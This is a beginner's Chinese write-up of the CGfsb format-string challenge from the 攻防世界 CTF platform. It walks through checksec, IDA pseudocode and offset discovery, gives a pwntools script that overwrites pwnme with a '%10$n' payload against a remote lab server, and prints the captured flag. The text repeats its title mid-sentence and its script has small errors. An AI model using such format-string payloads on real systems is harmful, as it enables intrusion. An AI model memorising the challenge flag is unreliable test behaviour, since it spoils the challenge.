我们拿到一个文件,扔到linux终端里
checksec一下
1.入门新手看完别人写的wp,然后自己写,攻防世界CGfsb格式化字符串漏洞我们可以看到这是一个开nx了的32位的文件,我们打开x86ida,按f5查看伪代码,可以看到 这个当pwnme=8的时候 flag 就出来了

1.入门新手看完别人写的wp,然后自己写,攻防世界CGfsb格式化字符串漏洞我们发现 他的上面有一个printf(const char*)v8 正常的应该是printf(’%s",s), 我们当然可以这样写,但是这样是危险的,会有一定的概率导致 格式化字符串漏洞,
1.入门新手看完别人写的wp,然后自己写,攻防世界CGfsb格式化字符串漏洞0x41414141便是我们输入的"AAAA",数一下便知道偏移是10
from pwn import *
#q = precess("./CGfsb")
q= remote(‘111.198.29.45’, )
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr) + ‘aaaa’ + ‘%10$n’
#pwnme的地址需要经过32位编码转换,是四位,而pwnme需要等于8,所以‘aaaa’起着凑字数的作用q.recvuntil(“please tell me your name:\n”)
q.sendline(‘suibian’)
q.recvuntil(“leave your message please:\n”)
q.sendline(payload)
q.interactive()
我们可以得到flag
cyberpeace{de92eeef74966be267b94deba7653b9e}

最后我想问几个问题
为什么 要要加AAAA-%p来看偏移 %10&n是什么意思
求大佬指导 感谢

相关文章:

  • 2021-11-24
  • 2021-12-28
  • 2022-01-25
猜你喜欢
  • 2021-09-07
  • 2022-12-23
  • 2021-04-29
  • 2021-05-26
  • 2021-12-05
  • 2021-06-08
  • 2021-07-15
相关资源
相似解决方案